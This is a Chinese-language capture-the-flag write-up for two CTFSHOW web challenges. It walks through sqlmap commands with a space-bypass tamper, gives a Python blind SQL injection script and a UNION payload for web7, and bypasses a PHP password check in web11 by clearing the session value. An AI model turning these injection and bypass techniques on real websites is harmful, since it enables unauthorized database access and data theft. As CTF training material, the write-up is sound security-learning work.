CTFSHOW-web(7/11)

文章目录

  • WEB07
  • WEB11


WEB07

CTFSHOW-web(7/11)_第1张图片
进入目录CTFSHOW-web(7/11)_第2张图片
可以发觉到本题考察的是sql盲注
尝试注入CTFSHOW-web(7/11)_第3张图片
在这里插入图片描述
经过测试,可以发现本题过滤了空格,在这里可以使用/**/进行代替CTFSHOW-web(7/11)_第4张图片
又是空格绕过,之前刚做过的在CTFHUB上空格绕过题,具体详细就不再细说
直接操作吧

爆数据库

python sqlmap.py -u "http://f66c0d56-a8ad-4963-b3e3-31e645aed75c.challenge.ctf.show:8080/index.php?id=1" --dbs --tamper "space2comment.py"

CTFSHOW-web(7/11)_第5张图片
可以看到这里又六个库名,我们进入web7看看

爆表

python sqlmap.py -u "http://f66c0d56-a8ad-4963-b3e3-31e645aed75c.challenge.ctf.show:8080/index.php?id=1" -D "web7" --tables --tamper "space2comment.py"

CTFSHOW-web(7/11)_第6张图片
找到flag了!!!

爆数据库字段

python sqlmap.py -u "http://f66c0d56-a8ad-4963-b3e3-31e645aed75c.challenge.ctf.show:8080/index.php?id=1" -D "web7" -T "flag" --dump --tamper "space2comment.py"

CTFSHOW-web(7/11)_第7张图片
就是这么简单

ctfshow{62701446-623d-4d24-8558-285fdd7289ad}

当然我去学习大佬们的文章,发现大佬们也有使用脚本的,让我们看看

import  requests
url = "https://7785f4a8-dd2f-4a53-acb5-61d19f2c5c57.chall.ctf.show/index.php?id=-1'/**/"


def db(url):  # 爆库名
    for i in range(1, 5):
        for j in range(32, 128):
            u = "or/**/ascii(substr(database()/**/from/**/" + str(i) + "/**/for/**/1))=" + str(j) + "#"
            s = url + u
            print(s)
            r = requests.get(s)
            if 'By Rudyard Kipling' in r.text:
                print(chr(j))


def table(url):  # 爆表名
    for i in range(4):
        table_name = ''
        for j in range(1, 6):
            for k in range(48, 128):
                u = id = "||/**/ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/1/**/offset/**/" + str(
                    i) + ")/**/from/**/" + str(j) + "/**/for/**/1))=" + str(k) + "#"
                s = url + u
                print(s)
                r = requests.get(s)
                if 'By Rudyard Kipling' in r.text:
                    table_name += chr(k)
            print(table_name)


db(url);
table(url);

在这里插入图片描述
CTFSHOW-web(7/11)_第8张图片

在这里插入图片描述
一共有三个表,尝试猜测为flag下的flag字段
数据库结构进行搜索

/index.php?id=-1/**/union/**/select/**/1,flag,3/**/from/**/flag#

CTFSHOW-web(7/11)_第9张图片

WEB11

CTFSHOW-web(7/11)_第10张图片

哇,代码审计无疑了!!

<?php
        function replaceSpecialChar($strParam){
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        }
        if(strlen($password)!=strlen(replaceSpecialChar($password))){
            die("sql inject error");
        }
        if($password==$_SESSION['password']){
            echo $flag;
        }else{
            echo "error";
        }
    ?>

对源码分析,可以看到需要让输入框的内容等于 $_SESSION 的值就好了

 if($password==$_SESSION['password']){
            echo $flag;

那么session是什么嘞,百度百科一下吧
CTFSHOW-web(7/11)_第11张图片
具体了解cook和session
但是session我们不知道是什么那,没关系我们只需要使SESSION的值为空就好了,在火狐浏览器中,F12进入开发者模式,session一般是保存在存储中的找到后清空
在这里我们先使用bp进行抓包看看CTFSHOW-web(7/11)_第12张图片
可以看到这里的密码是1234567,至于session是在这里插入图片描述

因此我们只需要将PHPsessionpassword的值都清空就可以了CTFSHOW-web(7/11)_第13张图片

让我们在火狐中F12进入存储直接修改session试试在这里插入图片描述
清空后将密码内容删除直接登录CTFSHOW-web(7/11)_第14张图片

CTFSHOW-web(7/11)_第15张图片

也是可以的啊

你可能感兴趣的:(web)